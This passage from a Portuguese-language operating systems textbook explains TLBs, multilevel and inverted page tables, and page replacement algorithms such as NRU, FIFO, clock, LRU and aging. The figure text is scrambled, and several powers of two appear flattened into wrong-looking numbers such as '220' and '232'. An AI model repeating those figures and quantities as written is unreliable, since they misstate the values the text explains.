com grandes espaços de endereço virtual, começando pelo primeiro. O ponto de partida da maioria 
das técnicas de otimização é que a tabela de páginas esteja na memória. Potencialmente, esse 
design tem um impacto enorme no desempenho. Considere, por exemplo, uma instrução de 1 byte 
que copia um registrador para outro. Na ausência de paginação, esta instrução faz apenas uma 
referência à memória, para buscar a instrução. Com a paginação, será necessária pelo menos uma 
referência de memória adicional para acessar a tabela de páginas. Como a velocidade de execução 
é geralmente limitada pela taxa na qual a CPU consegue obter instruções e dados da memória, ter 
que fazer duas referências de memória por referência de memória reduz o desempenho pela metade. 
Nessas condições, ninguém usaria a paginação. 


Os designers de computadores conhecem esse problema há anos e encontraram uma solução. 
A solução deles baseia-se na observação de que a maioria dos programas tende a fazer um grande 
número de referências a um pequeno número de páginas, e não o contrário. Assim, apenas uma 
pequena fração das entradas da tabela de páginas é muito lida; o resto quase não é usado. 


A solução desenvolvida é equipar os computadores com um pequeno dispositivo de hardware 
para mapear endereços virtuais para endereços físicos sem passar pela tabela de páginas. O 
dispositivo, chamado TLB (Translation Lookaside Buffer) ou às vezes memória associativa, é 
ilustrado na Figura 3.12. Geralmente está dentro da MMU e consiste em um pequeno número de 
entradas, oito neste exemplo, mas raramente mais de 256. Cada entrada contém informações sobre 
uma página, incluindo o número da página virtual, um bit que é definido quando a página é 
modificada , o código de proteção (permissões de leitura/gravação/execução) e o quadro físico da 
página em que a página está localizada. Esses campos têm uma correspondência um a um com os 
campos da tabela de páginas, exceto o número da página virtual, que não é necessário na tabela de 
páginas. Outro bit indica se a entrada é válida (ou seja, em uso) ou não. 


Um exemplo que pode gerar o TLB da Figura 3.12 é um processo em um loop que abrange as 
páginas virtuais 19, 20 e 21, de modo que essas entradas TLB tenham códigos de proteção para 
leitura e execução. Os principais dados usados atualmente (digamos, um array sendo processado) 
estão nas páginas 129 e 130. A página 140 contém os índices usados nos cálculos do array. 
Finalmente, a pilha está nas páginas 860 e 861. 

Vamos agora ver como funciona o TLB. Quando um endereço virtual é apresentado à MMU para 
tradução, o hardware primeiro verifica se o seu número de página virtual está presente no TLB, 
comparando-o com todas as entradas simultaneamente (ou seja, em paralelo). Fazer isso requer 
hardware especial, que todos os MMUs com TLBs possuem. Se for encontrada uma correspondência 
válida e o acesso não violar os bits de proteção, o quadro da página é retirado diretamente do TLB, 
sem ir para a tabela de páginas na memória. 
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Página virtual válida Quadro de página de proteção modificada 
1 140 1 RW 31 
1 20 0 RX 38 
1 130 1 RW 29 
1 129 1 RW 62 
1 19 0 RX 50 
1 21 0 RX 45 
1 860 1 RW 14 
1 861 1 RW 75 


Figura 3-12. Um TLB para acelerar a paginação. 


Se o número da página virtual estiver presente no TLB, mas a instrução estiver tentando 
escrever em uma página somente leitura, uma falha de proteção será gerada. 

O caso interessante é o que acontece quando o número da página virtual não está em 
o TLB. A MMU detecta a falha e faz uma pesquisa normal na tabela de páginas. Isto 
em seguida, despeja uma das entradas do TLB e a substitui pela tabela de páginas 
entrada apenas olhou para cima. Assim, se essa página for usada novamente em breve, na segunda vez ela será 
resultar em um acerto do TLB em vez de um erro. Quando uma entrada é eliminada do TLB, o 
o bit modificado é copiado de volta para a entrada da tabela de páginas na memória. Os outros valores 
já estão lá, exceto o bit de referência. Quando o TLB é carregado da página 
tabela, todos os campos são retirados da memória. 

Se o sistema operacional quiser alterar os bits na entrada da tabela de páginas (por exemplo, para 
tornar uma página somente leitura gravável), isso será feito modificando-a na memória. No entanto, para 
garantir que a próxima gravação nessas páginas seja bem-sucedida, ele também deve liberar o 
entrada correspondente com os bits de permissão antigos do TLB. 


Gerenciamento de TLB de software 


Até agora, assumimos que toda máquina com memória virtual paginada 
possui tabelas de páginas reconhecidas pelo hardware, além de um TLB. Neste projeto, o gerenciamento 
de TLB e o tratamento de falhas de TLB são feitos inteiramente pelo hardware MMU. Armadilhas 
ao sistema operacional ocorrem somente quando uma página não está na memória. 
Essa suposição é verdadeira para muitas CPUs. No entanto, algumas máquinas RISC, 
incluindo SPARC, MIPS e (agora morto) HP PA, fornecem suporte para páginas 
gerenciamento em software. Nessas máquinas, as entradas TLB são carregadas explicitamente 
pelo sistema operacional. Quando ocorre uma falha no TLB, em vez da MMU ir para 
as tabelas de páginas para encontrar e buscar a referência de página necessária, apenas gera um TLB 
falha e joga o problema no colo do sistema operacional. O sistema deve 
encontre a página, remova uma entrada do TLB, insira a nova e reinicie o 
instrução que falhou. E, claro, tudo isto deve ser feito num punhado de 
instruções porque as falhas de TLB ocorrem com muito mais frequência do que as falhas de página. 
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Certifique-se de entender por que as falhas de TLB são muito mais comuns do que as falhas 
de página. É um ponto importante. A chave é que geralmente há milhares de páginas na memória, 
portanto as falhas de página são raras, mas os TLBs normalmente contêm apenas 64 entradas, 
portanto, falhas de TLB acontecem o tempo todo. Os fabricantes de hardware poderiam reduzir 
o número de falhas de TLB aumentando o tamanho do TLB, mas isso é caro e a área do chip 
que um TLB aumentado ocuparia deixaria menos espaço para outros recursos importantes, como 
caches. O design do chip está cheio de compensações. 

Surpreendentemente, se o TLB for moderadamente grande (digamos, 64 entradas) para 
reduzir a taxa de falhas, o gerenciamento de software do TLB acaba sendo aceitavelmente eficiente. 
O principal ganho aqui é uma MMU muito mais simples, que libera área no chip para caches e 
outros recursos que podem melhorar o desempenho. 

E essencial compreender a diferença entre os diferentes tipos de erros. 

Um soft miss ocorre quando a página referenciada não está no TLB, mas na memória. 

Tudo o que é necessário aqui é que o TLB seja atualizado. Nenhuma E/S de disco (ou SSD) é 
necessária. Normalmente, um soft miss leva de 10 a 20 instruções de máquina para ser 
processado e pode ser concluído em alguns nanossegundos. Por outro lado, um hard miss 
ocorre quando a página em si não está na memória (e, claro, também não está no TLB). É 
necessário acesso ao disco ou SSD para trazer a página, o que pode levar até milissegundos, 
dependendo do armazenamento não volátil usado. Um erro grave é facilmente um milhão de 
vezes mais lento do que um erro suave. A pesquisa do mapeamento na hierarquia da tabela de 
páginas é conhecida como caminhada na tabela de páginas. 

Na verdade, é pior que isso. Uma falha não é apenas suave ou difícil. Algumas falhas são 
ligeiramente mais suaves (ou um pouco mais difíceis) do que outras falhas. Por exemplo, 
suponha que o page walk não encontre a página na tabela de páginas do processo e o programa 
incorra em uma falha de página. Existem três possibilidades. Primeiro, a página pode realmente 
estar na memória, mas não na tabela de páginas deste processo. Por exemplo, a página pode 
ter sido trazida do armazenamento não volátil por outro processo. Nesse caso, não precisamos 
acessar novamente o armazenamento não volátil, mas apenas mapear a página adequadamente 
nas tabelas de páginas. Esta é uma falha bastante leve, conhecida como falha secundária de página. 
Segundo, uma falha grave de página ocorre se a página precisar ser trazida de um 
armazenamento não volátil. Terceiro, é possível que o programa simplesmente tenha acessado 
um endereço inválido e nenhum mapeamento precise ser adicionado ao TLB. Nesse caso, o 
sistema operacional normalmente mata o programa com uma falha de segmentação. Somente 
neste caso o programa fez algo errado. Todos os outros casos são corrigidos automaticamente 
pelo hardware e/ou sistema operacional — ao custo de algum desempenho. 


3.3.4 Tabelas de páginas para memórias grandes 


Os TLBs podem ser usados para acelerar a tradução de endereços virtuais para físicos no 
esquema original de tabela de páginas na memória. Mas esse não é o único problema que temos 
de enfrentar. Outro problema é como lidar com espaços de endereço virtual muito grandes. 
Abaixo discutiremos duas maneiras de lidar com eles. 
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Tabelas de páginas multiníveis 


Como primeira abordagem, considere o uso de uma tabela de páginas multinível. Um exemplo 
simples é mostrado na Figura 3-13. Na Figura 3.13(a), temos um endereço virtual de 32 bits que é 
particionado em um campo PT1 de 10 bits, um campo PT2 de 10 bits e um campo Offset de 12 bits . 
Como os deslocamentos são de 12 bits, as páginas têm 4 KB e há um total de 220 delas. 


Segundo nível 


tabelas de páginas 


Tabela 


de páginas 
para o topo 
4 milhões de 
memória 
Tabela de 
páginas de nível superior 
1023 
Pedaços 10 10 12 
(a) 
Para páginas 


(b) 


Figura 3-13. (a) Um endereço de 32 bits com dois campos de tabela de páginas. (b) Tabelas de páginas de 
dois níveis. 


O segredo do método de tabela de páginas multinível é evitar manter todas as tabelas de páginas na 
memória o tempo todo. Em particular, aqueles que não são necessários não devem 
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ser mantido por perto. Suponha, por exemplo, que um processo precise de 12 megabytes: os 4 
megabytes inferiores de memória para texto do programa, os próximos 4 megabytes para dados e os 
4 megabytes superiores para a pilha. Entre o topo dos dados e a parte inferior da pilha existe um 
buraco gigantesco que não é usado. 

Na Figura 3.13(b), vemos como funciona a tabela de páginas de dois níveis. À esquerda vemos 
a tabela de páginas de nível superior, com 1.024 entradas, correspondentes ao campo PT1 de 10 bits . 
Quando um endereço virtual é apresentado à MMU, ela primeiro extrai o campo PT1 e usa esse valor 
como índice na tabela de páginas de nível superior. Cada uma dessas 1.024 (ou 210) entradas na 
tabela de páginas de nível superior representa 4M (ou 222 bytes) porque todo o espaço de endereço 
virtual de 4 gigabytes (ou seja, 32 bits) foi dividido em pedaços de 4.096 (ou 212) bytes. 


A entrada localizada pela indexação na tabela de páginas de nível superior produz o endereço 
ou o número do quadro da página de uma tabela de páginas de segundo nível. A entrada 0 da tabela 
de páginas de nível superior aponta para a tabela de páginas do texto do programa, a entrada 1 aponta 
para a tabela de páginas dos dados e a entrada 1023 aponta para a tabela de páginas da pilha. As 
outras entradas (sombreadas) não são usadas. O campo PT2 agora é usado como um índice na 
tabela de páginas de segundo nível selecionada para encontrar o número do quadro da própria página. 

Como exemplo, considere o endereço virtual de 32 bits 0x00403004 (4.206.596 decimal), que é 
4.206.596 - 4 MB = 12.292 bytes na área de dados. Este endereço virtual corresponde a PT1 = 1, 
PT2 = 3 e Offset = 4. A MMU primeiro usa PT1 para indexar na tabela de páginas de nível superior e 
obter a entrada 1, que corresponde aos endereços 4M a 8M 1. Em seguida, usa PT2 para indexar na 
tabela de páginas de segundo nível recém-encontrada e extrair a entrada 3, correspondente aos 
endereços 12288 a 16383 dentro de seu bloco de 4M (ou seja, endereços absolutos 4.206.592 a 
4.210.687). Contém o número do quadro da página que contém o endereço virtual 0x00403004. Se 
essa página não estiver na memória, o bit presente/ ausente na entrada da tabela de páginas terá o 
valor zero, causando uma falha de página. Se a página estiver presente na memória, o número do 
quadro da página retirado da tabela de páginas de segundo nível é combinado com o deslocamento 
(4) para construir o endereço físico. Este endereço é colocado no barramento e enviado para a 
memória. 

O interessante a se notar na Figura 3.13 é que embora o espaço de endereço contenha mais de 
um milhão de páginas, apenas quatro tabelas de páginas são necessárias: a tabela de nível superior 
e as tabelas de segundo nível para O a 4M (para o programa texto), 4M a 8M (para os dados) e os 4M 
superiores (para a pilha). Os bits presentes/ausentes nas 1.021 entradas restantes da tabela de 
páginas de nível superior são definidos como 0, forçando uma falha de página se eles forem 
acessados. Caso isso ocorra, o sistema operacional perceberá que o processo está tentando fazer 
referência à memória que não deveria e tomará as medidas apropriadas, como enviar um sinal ou 
eliminá-lo. Neste exemplo, escolhemos números redondos para os vários tamanhos e escolhemos 
PT1 iguala PT2, mas na prática também são possíveis outros valores, claro. 


O sistema de tabela de páginas de dois níveis da Figura 3.13 pode ser expandido para três, 
quatro ou mais níveis. Níveis adicionais oferecem mais flexibilidade. Por exemplo, o processador Intel 
80386 de 32 bits (lançado em 1985) foi capaz de endereçar até 4 GB de memória, usando uma tabela 
de páginas de dois níveis que consistia em um diretório de páginas cujas entradas 
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apontou para tabelas de páginas, que, por sua vez, apontaram para os quadros de página reais de 4 KB. 
Tanto o diretório de páginas quanto as tabelas de páginas continham 1.024 entradas, dando um total de 210 x 
210 x 212 = 232 bytes endereçáveis, conforme desejado. 

Dez anos depois, o Pentium Pro introduziu outro nível: a tabela de ponteiros de diretório de páginas. 
Além disso, estendeu cada entrada em cada nível da hierarquia da tabela de páginas de 32 bits para 64 bits, 
para que pudesse endereçar a memória acima do limite de 4 GB. Como tinha apenas 4 entradas na tabela de 
ponteiros do diretório de páginas, 512 em cada diretório de páginas e 512 em cada tabela de páginas, a 
quantidade total de memória que ele poderia endereçar ainda estava limitada a um máximo de 4 GB. Quando o 
suporte adequado de 64 bits foi adicionado à família x86 (originalmente pela AMD), o nível adicional poderia ter 
sido chamado de "ponteiro de tabela de ponteiro de diretório de página" ou algo igualmente horrível. 


Isso estaria perfeitamente de acordo com a forma como os fabricantes de chips tendem a nomear as coisas. 
Felizmente, eles não fizeram isso. A alternativa que eles inventaram, “mapa de página nível 4”, também pode 
não ser um nome muito cativante, mas pelo menos é curto e um pouco mais claro. 

De qualquer forma, esses processadores agora utilizam todas as 512 entradas em todas as tabelas, produzindo 
uma quantidade de memória endereçável de 29 x 29 x 29 x 29 x 212 = 248 bytes. Eles poderiam ter 


acrescentado outro nível, mas provavelmente pensaram que 256 TB seriam suficientes por um tempo. 


Acontece que eles estavam errados. Alguns dos processadores mais recentes têm suporte para um quinto 
nível para estender o tamanho dos endereços para 57 bits. Com esse espaço de endereçamento, é possível 
endereçar até 128 petabytes. São muitos bytes. Ele permite que arquivos enormes sejam mapeados. É claro 
que a desvantagem de tantos níveis é que os passeios pelas tabelas de páginas se tornam ainda mais caros. 


Tabelas de páginas invertidas 


Uma alternativa aos níveis cada vez maiores em uma hierarquia de paginação é conhecida como tabelas 
de páginas invertidas. Eles foram usados pela primeira vez por processadores como PowerPC, UltraSPARC e 
Itanium (às vezes chamado de “ltanic”, pois não foi exatamente o sucesso que a Intel esperava). Agora seguiu 
o caminho do Amazon Fire Phone, Apple Newton, AT&T Picture Phone, gravador de vídeo Betamax, carro 
DeLorean, Ford Edsel e Windows Vista. 


As tabelas de páginas invertidas, entretanto, continuam vivas. Neste projeto, há uma entrada por quadro 
de página na memória real, em vez de uma entrada por página do espaço de endereço virtual. 

Por exemplo, com endereços virtuais de 64 bits, tamanho de página de 4 KB e 16 GB de RAM, uma tabela de 
páginas invertidas requer apenas 4.194.304 entradas. A entrada controla qual (processo, página virtual) está 
localizado no quadro da página. 

Embora as tabelas de páginas invertidas economizem muito espaço, pelo menos quando o espaço de 
endereço virtual é muito maior que a memória física, elas apresentam uma séria desvantagem: a tradução de 
virtual para físico se torna muito, muito mais difícil. Quando o processo n faz referência à página virtual p, o 
hardware não consegue mais encontrar a página física usando p como índice na tabela de páginas. Em vez 
disso, ele deve pesquisar toda a tabela de páginas invertidas em busca de uma entrada (n, p). Além disso, esta 
pesquisa deve ser feita em todos os 
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referência de memória, não apenas em falhas de página. Pesquisar uma tabela de 256K em cada 
referência de memória não é a maneira de tornar sua máquina incrivelmente rápida. 

A saída para esse dilema é fazer uso do TLB. Se o TLB puder conter todas as páginas muito 
utilizadas, a tradução poderá acontecer tão rapidamente quanto com tabelas de páginas normais. Em caso 
de erro de TLB, entretanto, a tabela de páginas invertidas deve ser pesquisada no software. Uma maneira 
viável de realizar essa pesquisa é ter uma tabela hash com hash no endereço virtual. Todas as páginas 
virtuais atualmente na memória que possuem o mesmo valor de hash são encadeadas, como mostrado na 
Figura 3.14. Se a tabela hash tiver tantos slots quanto a máquina tiver páginas físicas, a cadeia média terá 
apenas uma entrada, acelerando bastante o mapeamento. Uma vez encontrado o número do quadro da 
página, o novo par (virtual, físico) é inserido no TLB. 


Tabela de páginas 
tradicional com uma 
entrada para cada um dos 252 


páginas 
e 4 


A memória física de 
1 GB tem 218 
Quadros de página de 4 Tabela hash 


est 4 E om 


0 0 0 
Indexado Indexado 
por página por hash na Virtual Quadro 
virtual página virtual página de página 


Figura 3-14. Comparação de uma tabela de páginas tradicional com uma tabela de páginas invertida. 


Tabelas de páginas invertidas são usadas em máquinas de 64 bits porque mesmo com um tamanho 
de página muito grande, o número de entradas na tabela de páginas é gigantesco. Por exemplo, com 
páginas de 4 MB e endereços virtuais de 64 bits, são necessárias 242 entradas de tabela de páginas. 


3.4 ALGORITMOS DE SUBSTITUIÇÃO DE PÁGINAS 


Quando ocorre uma falha de página, o sistema operacional precisa escolher uma página para remover 
(remover da memória) para liberar espaço para a página recebida. Se a página a ser removida tiver sido 
modificada enquanto estava na memória, ela deverá ser reescrita em armazenamento não volátil para 
atualizar a cópia do disco ou SSD. Se, no entanto, a página não tiver sido alterada, por exemplo porque 
contém o código executável de um programa, texto), a cópia do disco ou SSD já está atualizada, portanto 
não é necessária reescrita. A página a ser lida apenas substitui a página que está sendo despejada. 
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Embora seja possível escolher uma página aleatória para despejar em cada falha de página, o 
desempenho do sistema é muito melhor se for escolhida uma página que não seja muito usada. Se 
uma página muito usada for removida, provavelmente será necessário trazê-la de volta rapidamente, 
resultando em sobrecarga extra. Muito trabalho tem sido feito sobre algoritmos de substituição de 
páginas, tanto teóricos quanto experimentais. A seguir descreveremos alguns dos mais importantes. 


Vale a pena notar que o problema da “substituição de páginas” também ocorre em outras áreas 
do design de computadores. Por exemplo, a maioria dos computadores possui um ou mais caches de 
memória que consistem em blocos de memória de 32 ou 64 bytes usados recentemente. Quando o 
cache estiver cheio, algum bloco deverá ser escolhido para remoção. Esse problema é exatamente o 
mesmo da substituição de páginas, exceto em uma escala de tempo mais curta (tem que ser feito em 
alguns nanossegundos, e não em dezenas de microssegundos ou mesmo milissegundos, como 
acontece com a substituição de páginas). A razão para a escala de tempo mais curta é que as faltas 
de blocos de cache são satisfeitas na memória principal, que é consideravelmente mais rápida que um 
disco magnético ou mesmo um SSD. 

Um segundo exemplo está em um servidor Web. O servidor pode manter um certo número de 
páginas da Web muito utilizadas em seu cache de memória. Entretanto, quando o cache de memória 
está cheio e uma nova página é referenciada, é necessário tomar uma decisão sobre qual página da 
Web será removida. As considerações são semelhantes às páginas de memória virtual, exceto que as 
páginas da Web nunca são modificadas no cache, portanto há sempre uma nova cópia “no 
armazenamento não volátil”. Em um sistema de memória virtual, as páginas na memória principal 
podem ser: limpo ou sujo. 

Em todos os algoritmos de substituição de páginas a serem estudados abaixo (e outros), surge 
uma certa questão: quando uma página deve ser removida da memória, ela tem que ser uma das 
próprias páginas do processo faltoso, ou pode ser uma página? página pertencente a outro processo? 
No primeiro caso, estamos efetivamente limitando cada processo a um número fixo de páginas; neste 
último caso, não o somos. Ambas são possibilidades. Voltaremos a este ponto na Sec. 3.5.1. 


3.4.1 O algoritmo ideal de substituição de página 


O melhor algoritmo de substituição de página possível é fácil de descrever, mas impossível de 
implementar. É assim. No momento em que ocorre uma falha de página, algum conjunto de páginas 
está na memória. Uma dessas páginas será referenciada na próxima instrução (a página que contém 
essa instrução). Outras páginas não podem ser referenciadas até 10, 100, 1.000 ou milhões de 
instruções posteriormente. Ou talvez nunca se a página for a página da fase de inicialização do 
programa e já tiver sido concluída. Cada página pode ser rotulada com o número de instruções que 
serão executadas antes que a página seja referenciada pela primeira vez. 


O algoritmo de substituição de página ideal diz que a página com o rótulo mais alto deve ser 
removida. Se uma página não for usada para 8 milhões de instruções e outra página não for usada 
para 6 milhões de instruções, a remoção da primeira empurra a falha de página que a trará de volta o 
mais longe possível no futuro. Os computadores, assim como as pessoas, tentam adiar eventos 
desagradáveis o máximo que podem. 
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O único problema com este algoritmo é que ele não é realizável. No momento da falha de página, 
o sistema operacional não tem como saber quando cada uma das páginas será referenciada em 
seguida. (Vimos uma situação semelhante anteriormente com o algoritmo de agendamento short est- 
job-first — como o sistema pode saber qual trabalho é o mais curto?) 

Ainda assim, executando um programa em um simulador e acompanhando todas as referências de 
página, é possível implementar a substituição ideal de página na segunda execução, usando as 
informações de referência de página coletadas durante a primeira execução. 

Desta forma, é possível comparar o desempenho dos algoritmos realizáveis com o melhor 
possível. Se um sistema operacional atingir um desempenho de, digamos, apenas 1% pior que o 
algoritmo ideal, o esforço despendido na procura de um algoritmo melhor produzirá no máximo uma 
melhoria de 1%. 

Para evitar qualquer possível confusão, deve ficar claro que este registro de referências de 
páginas refere-se apenas ao programa que acabou de ser medido e com apenas uma entrada 
específica. O algoritmo de substituição de página derivado dele é, portanto, específico para aquele 
programa e dados de entrada. Embora este método seja útil para avaliar algoritmos de substituição 
de páginas, ele não tem utilidade em sistemas práticos. A seguir estudaremos algoritmos que são 
úteis em sistemas reais. 


3.4.2 Algoritmo de substituição de página não usada recentemente 


Para permitir que o sistema operacional colete estatísticas úteis de uso de páginas, a maioria 
dos computadores com memória virtual possui dois bits de status, Re M, associados a cada página. 
R é definido sempre que a página é referenciada (lida ou escrita). M é definido quando a página é 
gravada (ou seja, modificada). Os bits estão contidos em cada entrada da tabela de páginas, conforme 
mostrado na Figura 3.11. É importante perceber que estes bits devem ser atualizados a cada 
referência de memória, por isso é essencial que sejam configurados pelo hardware. Depois que um 
bit for definido como 1, ele permanecerá 1 até que o sistema operacional o redefina. 

Se o hardware não possuir esses bits, eles poderão ser simulados usando mecanismos de falta 
de página e interrupção de relógio do sistema operacional. Quando um processo é iniciado, todas 
as entradas da tabela de páginas são marcadas como não estando na memória. Assim que qualquer 
página for referenciada, ocorrerá uma falha de página. O sistema operacional então define o bit R 
(em suas tabelas internas), altera a entrada da tabela de páginas para apontar para a página correta, 
com o modo READ ONLY, e reinicia a instrução. Se a página for modificada posteriormente, ocorrerá 
outra falha de página, permitindo ao sistema operacional definir o bit Me alterar o modo da página 
para LEITURA/ESCRITA. 

Os bits Re M podem ser usados para construir um algoritmo de paginação simples como segue. 
Quando um processo é iniciado, ambos os bits de página de todas as suas páginas são definidos 
como 0 pelo sistema operacional. Periodicamente (por exemplo, em cada interrupção do relógio), o 
bit R é limpo, para distinguir as páginas que não foram referenciadas recentemente daquelas que o 
foram. 

Quando ocorre uma falha de página, o sistema operacional inspeciona todas as páginas e as 
divide em quatro categorias com base nos valores atuais de seus bits Re M : 
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Classe 0: não referenciada, não modificada. 
Classe 1: não referenciada, modificada. 
Classe 2: referenciada, não modificada. 
Classe 3: referenciada, modificada. 


Embora as páginas de classe 1 pareçam impossíveis, elas ocorrem quando uma página de classe 
3 tem seu bit R limpo por uma interrupção de clock. As interrupções do relógio não limpam o bit 

M porque esta informação é necessária para saber se a página deve ser reescrita no disco 
posteriormente. Limpar R, mas não M, leva a uma página de classe 1. Em outras palavras, uma 
página de classe 1 é aquela que foi modificada há muito tempo e não foi alterada desde então. 

O algoritmo NRU (não usado recentemente) remove uma página aleatoriamente da classe 
não vazia de numeração mais baixa. Implícita neste algoritmo está a ideia de que é melhor 
remover uma página modificada que não tenha sido referenciada em pelo menos um tique do 
relógio (normalmente cerca de 20 ms) do que uma página limpa que esteja em uso intenso. A 
principal atração do NRU é que ele é fácil de entender, moderadamente eficiente na 
implementação e proporciona um desempenho que, embora certamente não seja o ideal, pode ser adequado. 


3.4.3 O algoritmo de substituição de página First-In, First-Out (FIFO) 


Outro algoritmo de paginação de baixo overhead é o algoritmo FIFO (First-In, First-Out) . 
Para ilustrar como isso funciona, considere um supermercado que tenha prateleiras suficientes 
para exibir exatamente k produtos diferentes. Um dia, alguma empresa lança um novo alimento 
de conveniência: iogurte orgânico instantâneo, liofilizado, que pode ser reconstituído num forno 
de micro-ondas. É um sucesso imediato, por isso o nosso supermercado finito tem que se livrar 
de um produto antigo para poder estocá-lo. 

Uma possibilidade é encontrar o produto que o supermercado armazena há mais tempo (ou 
seja, algo que começou a vender há 120 anos) e livrar-se dele alegando que já ninguém está 
interessado. Com efeito, o supermercado mantém uma lista vinculada de todos os produtos que 
vende atualmente, na ordem em que foram introduzidos. 

O novo fica no final da lista; aquele que está no início da lista é eliminado. 

Como algoritmo de substituição de página, a mesma ideia é aplicável. O sistema operacional 
mantém uma lista de todas as páginas atualmente na memória, com a chegada mais recente no 
final e a chegada menos recente no início. Em uma falha de página, a página no topo é removida 
e a nova página é adicionada ao final da lista. Quando aplicado em lojas, o FIFO pode remover 
cera de bigode, mas também pode remover farinha, sal ou manteiga. Quando aplicado a 
computadores surge o mesmo problema: a página mais antiga ainda pode ser útil. Por esta razão, 
o FIFO em sua forma pura raramente é utilizado. 


3.4.4 O algoritmo de substituição de página de segunda chance 


Uma modificação simples no FIFO que evita o problema de descartar uma página muito 
usada é inspecionar o bit R da página mais antiga. Se for 0, a página é antiga e não utilizada, 
portanto será substituída imediatamente. Se o bit R for 1, bit é limpo, a página é colocada no 
final da lista de páginas e seu tempo de carregamento é atualizado como se tivesse acabado de 
chegar na memória. Então a busca continua. 
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A operação desse algoritmo, chamado de segunda chance, é mostrada na Figura 3.15. 
Na Figura 3.15(a), vemos as páginas de A a H mantidas em uma lista encadeada e classificadas pela 
hora em que chegaram à memória. 


Página carregada primeiro 


% 0 3 7 8 12 14 15 18 
Dadá mais recentemente 
= HH 


(a) 


Página carregada 


A é tratado como um 


3 ip 8 12 14 15 18 20 x e 
P página recém-carregada 
E e| 
(b) 


Figura 3-15. Operação de segunda chance. (a) Páginas classificadas em ordem FIFO. (b) 
Lista de páginas se uma falha de página ocorrer no tempo 20 e A tiver seu bit R ativado. Os números 
acima das páginas são os tempos de carregamento. 


Suponha que uma falha de página ocorra no tempo 20. A página mais antiga é A, que chegou 
no tempo 0, quando o processo foi iniciado. Se A tiver o bit R limpo, ele será removido da memória, 
seja por ser gravado em um armazenamento não volátil (se estiver sujo) ou simplesmente abandonado 
(se estiver limpo). Por outro lado, se o bit R estiver setado, A é colocado no final da lista e seu "tempo 
de carregamento" é redefinido para o horário atual (20). O bit R também é apagado. A busca por uma 
página adequada continua com B. 

O que a segunda chance procura é uma página antiga que não foi referenciada no intervalo de 
relógio mais recente. Se todas as páginas foram referenciadas, a segunda chance degenera em puro 
FIFO. Especificamente, imagine que todas as páginas da Figura 3.15(a) tenham seus R bits definidos. 
Uma por uma, o sistema operacional move as páginas para o final da lista, limpando o bit R cada vez 
que anexa uma página ao final da lista. Eventualmente, ele volta para a página A, que agora tem seu 
bit R limpo. Neste ponto, A é despejado. Assim, o algoritmo sempre termina. 


3.4.5 Algoritmo de substituição de página de relógio 


Embora a segunda chance seja um algoritmo razoável, ele é desnecessariamente ineficiente 
porque está constantemente movendo páginas de sua lista. Uma abordagem melhor é manter todos 
os quadros de página em uma lista circular na forma de um relógio, como mostrado na Figura 3.16. O 
ponteiro aponta para a página mais antiga. 

Quando ocorre uma falha de página, a página apontada pela mão é inspecionada. 

Seo bit Rfor 0, a página é removida, a nova página é inserida no relógio em seu lugar e o ponteiro 
avança uma posição. Se R for 1, ele é limpo e o ponteiro avança para a próxima página. Este processo 
é repetido até que uma página com R = 0 seja encontrada. Não é de surpreender que esse algoritmo 
seja chamado de relógio. 
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Quando ocorre uma falha de página, 
a página para a qual a mão 


está apontando é inspecionada. 
A ação tomada depende do bit R: R 


= 0: Excluir a 


página R = 1: Limpar R e 
avançar a mão 


Figura 3-16. O algoritmo de substituição da página do relógio. 


3.4.6 O algoritmo de substituição de página menos usada recentemente (LRU) 

Uma boa aproximação para o algoritmo ideal é baseada na observação de que as páginas que 
foram muito utilizadas nas últimas instruções provavelmente serão muito utilizadas novamente em 
breve. Por outro lado, páginas que não são usadas há muito tempo provavelmente permanecerão 
sem uso por muito tempo. Essa ideia sugere um algoritmo realizável: quando ocorre uma falha de 
página, jogue fora a página que não foi utilizada há mais tempo. Essa estratégia é cnamada de 
paginação LRU (menos usada recentemente) . 

Embora LRU seja teoricamente realizável, não é nem de longe barato. Para implementar 
totalmente o LRU, é necessário manter uma lista encadeada de todas as páginas na memória, com 
a página usada mais recentemente na frente e a página usada menos recentemente no final. A 
dificuldade é que a lista deve ser atualizada a cada referência de memória. 

Encontrar uma página na lista, excluí-la e movê-la para a frente é uma operação demorada, mesmo 
em hardware (assumindo que tal hardware possa ser construído). 

Entretanto, existem outras maneiras de implementar LRU com hardware especial. Vamos 
considerar primeiro a maneira mais simples. Este método requer equipar o hardware com um 
contador de 64 bits, C, que é incrementado automaticamente após cada instrução. 

Além disso, cada entrada da tabela de páginas também deve ter um campo grande o suficiente para 
conter o contador. Após cada referência de memória, o valor atual de C é armazenado na entrada 
da tabela de páginas da página recém-referenciada. Quando ocorre uma falha de página, o sistema 
operacional examina todos os contadores na tabela de páginas para encontrar o mais baixo. Essa 
página é a menos usada recentemente. 


3.4.7 Simulando LRU em Software 


Embora o algoritmo LRU anterior seja (em princípio) realizável, poucas máquinas, se houver, 
possuem o hardware necessário. Em vez disso, é necessária uma solução que possa ser 
implementada em software. Uma possibilidade é chamada de NFU (não usado com frequência) 
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algoritmo. Requer um contador de software associado a cada página, inicialmente zero. 

A cada interrupção do relógio, o sistema operacional verifica todas as páginas da memória. Para 
cada página, o bit R, que é O ou 1, é adicionado ao contador. Os contadores controlam 
aproximadamente a frequência com que cada página foi referenciada. Quando ocorre uma falha de 
página, a página com o contador mais baixo é escolhida para substituição. 

O principal problema do NFU é que ele é como um elefante: nunca esquece nada. Por exemplo, 
em um compilador multipass, as páginas que foram muito usadas durante a passagem 1 ainda 
podem ter uma contagem alta nas passagens posteriores. Na verdade, se a passagem 1 tiver o 
tempo de execução mais longo de todas as passagens, as páginas que contêm o código das 
passagens subsequentes poderão sempre ter contagens mais baixas do que as páginas da 
passagem 1. Consequentemente, o sistema operacional removerá páginas úteis em vez de páginas 
que não estão mais em uso. 

Felizmente, uma pequena modificação no NFU permite simular muito bem o LRU. A modificação 
tem duas partes. Primeiro, cada um dos contadores é deslocado 1 bit para a direita antes que o bit R 
seja adicionado. Segundo, o bit R é adicionado ao bit mais à esquerda, em vez de ao bit mais à 
direita. 

A Figura 3-17 ilustra como funciona o algoritmo modificado, conhecido como envelhecimento . 
Suponha que após o primeiro tick do clock, os bits R das páginas 0 a 5 tenham os valores 1,0, 1,0, 
1 e 1, respectivamente (página O é 1, página 1 é 0, página 2 é 1, etc. .). Em outras palavras, entre o 
tick O e o tick 1, as páginas 0, 2, 4 e 5 foram referenciadas, definindo seus bits R como 1, enquanto 
os demais permaneceram 0. Após os seis contadores correspondentes terem sido deslocados e o bit 
Rinserido à esquerda, eles têm os valores mostrados na Figura 3.17(a). As quatro colunas restantes 
mostram os seis contadores após os próximos quatro tiques do relógio. 


